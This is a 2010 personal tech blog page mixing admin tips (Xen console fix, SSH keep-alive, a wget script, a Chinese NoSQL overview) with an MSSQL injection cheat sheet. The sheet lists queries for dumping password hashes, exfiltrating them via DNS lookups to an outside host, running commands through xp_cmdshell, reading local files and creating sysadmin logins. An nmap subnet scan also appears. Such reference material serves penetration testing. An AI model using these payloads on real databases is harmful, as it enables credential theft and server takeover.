So you try and log in to a domU and xen says it can’t open a tty?
[cc lang="text"]
[tres@calliope ~]$ sudo xm console xen-domu.vm
xenconsole: Could not open tty `/dev/pts/15': No such file or directory
This error normally happens when xenconsoled is no longer running. You can quickly verify by looking for the xenconsoled process:
[tres@calliope ~]$ ps auxwww | grep xenconsoled
[tres@calliope ~]$[/cc]
If you don’t find it, just run
[cc lang="text"]
/etc/init.d/xend start[/cc]
Wednesday, February 24, 2010
Tuesday, February 23, 2010
Key-Value 系統 分類整理 (NoSQL)
一般使用的 DB 統稱是 RDBMS(MSSQL、MySQL ... 等), 現在因為雲端運算的興起, Key-Value 的系統也漸漸紅了起來, 那到底有哪些 Key-Value system 可以用呢?
此篇文章 A Yes for a NoSQL Taxonomy 主要是這篇 NoSQL is a Horseless Carriage 簡報的整理.
此簡報將 Key-Value 的系統分成幾個類別, 並將這些資料整理出來. (下述內容主要取自簡報, 另外補上 連結 和 簡介.)
註: 下述連結有可能有誤, 有些系統不熟, 若有錯誤麻煩請隨時糾正我. orz.
此篇文章 A Yes for a NoSQL Taxonomy 主要是這篇 NoSQL is a Horseless Carriage 簡報的整理.
此簡報將 Key-Value 的系統分成幾個類別, 並將這些資料整理出來. (下述內容主要取自簡報, 另外補上 連結 和 簡介.)
註: 下述連結有可能有誤, 有些系統不熟, 若有錯誤麻煩請隨時糾正我. orz.
Tuesday, February 9, 2010
MSSQL Injection Cheat Sheet
| Version | SELECT @@version |
| Comments | SELECT 1 -- comment SELECT /*comment*/1 |
| Current User | SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
| List Users | SELECT name FROM master..syslogins |
| List Password Hashes | SELECT name, password FROM master..sysxlogins -- priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005; SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005 |
| List Privileges | Impossible? |
| List DBA Accounts | TODO SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from thedocumentation SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. |
| Current Database | SELECT DB_NAME() |
| List Databases | SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); -- for N = 0, 1, 2, ... |
| List Columns | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable |
| List Tables | SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable |
| Find Tables From Column Name | -- NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password' |
| Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row |
| Select Nth Char | SELECT substring('abcd', 3, 1) -- returns c |
| Bitwise AND | SELECT 6 & 2 -- returns 2 SELECT 6 & 1 -- returns 0 |
| ASCII Value -> Char | SELECT char(0x41) -- returns A |
| Char -> ASCII Value | SELECT ascii('A') - returns 65 |
| Casting | SELECT CAST('1' as int); SELECT CAST(1 as char) |
| String Concatenation | SELECT 'A' + 'B' - returns AB |
| If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1 |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1 |
| Avoiding Quotes | SELECT char(65)+char(66) -- returns AB |
| Time Delay | WAITFOR DELAY '0:0:5' -- pause for 5 seconds |
| Make DNS Requests | declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000 declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005 -- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. -- Also check out theDNS tunnel feature of sqlninja |
| Command Execution | EXEC xp_cmdshell 'net user'; -- priv On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default: EXEC sp_configure 'show advanced options', 1; -- priv RECONFIGURE; -- priv EXEC sp_configure 'xp_cmdshell', 1; -- priv RECONFIGURE; -- priv |
| Local File Access | CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\boot.ini'; DROP TABLE mydata; |
| Hostname, IP Address | SELECT HOST_NAME() |
| Create Users | EXEC sp_addlogin 'user', 'pass'; -- priv |
| Drop Users | EXEC sp_droplogin 'user'; -- priv |
| Make User DBA | EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv |
| Location of DB files | TODO |
Use nmap scan FTP server how to
[cc lang="bash"]nmap -p T:21 -T4 -A -n 172.16.95.0-255[/cc]
Sunday, February 7, 2010
How to keep alive with ssh server
[cc lang="bash"]ssh -o TCPKeepAlive fred@oracle1.com[/cc]
or add follw to your [cci]$HOME/.ssh/config[/cci] file
[cc]ServerAliveInterval 60[/cc]
or add follw to your [cci]$HOME/.ssh/config[/cci] file
[cc]ServerAliveInterval 60[/cc]
Friday, February 5, 2010
Download file use bash script and wget
[cc lang="bash"]
#!/bin/sh
DOWN_DIR=/home/fred/example.com/upload/
while read line
#c=1
do
#c=`expr $c + 1`
#echo -e "$line \n"
file1=`echo -e $line| awk -F" " '{ print $1 }'`
file2=`echo -e $line| awk -F" " '{ print $2 }'`
dir1=$DOWN_DIR`echo $file2| awk -F"/" '{ print $1"/"$2 }'`
mkdir -p $dir1
wget $file1 -O $DOWN_DIR${file2}.jpg
#if [ $c -lt 3 ];then
#exit
#fi
done < "/home/fred/src/db.txt"
[/cc]
#!/bin/sh
DOWN_DIR=/home/fred/example.com/upload/
while read line
#c=1
do
#c=`expr $c + 1`
#echo -e "$line \n"
file1=`echo -e $line| awk -F" " '{ print $1 }'`
file2=`echo -e $line| awk -F" " '{ print $2 }'`
dir1=$DOWN_DIR`echo $file2| awk -F"/" '{ print $1"/"$2 }'`
mkdir -p $dir1
wget $file1 -O $DOWN_DIR${file2}.jpg
#if [ $c -lt 3 ];then
#exit
#fi
done < "/home/fred/src/db.txt"
[/cc]
Subscribe to:
Posts (Atom)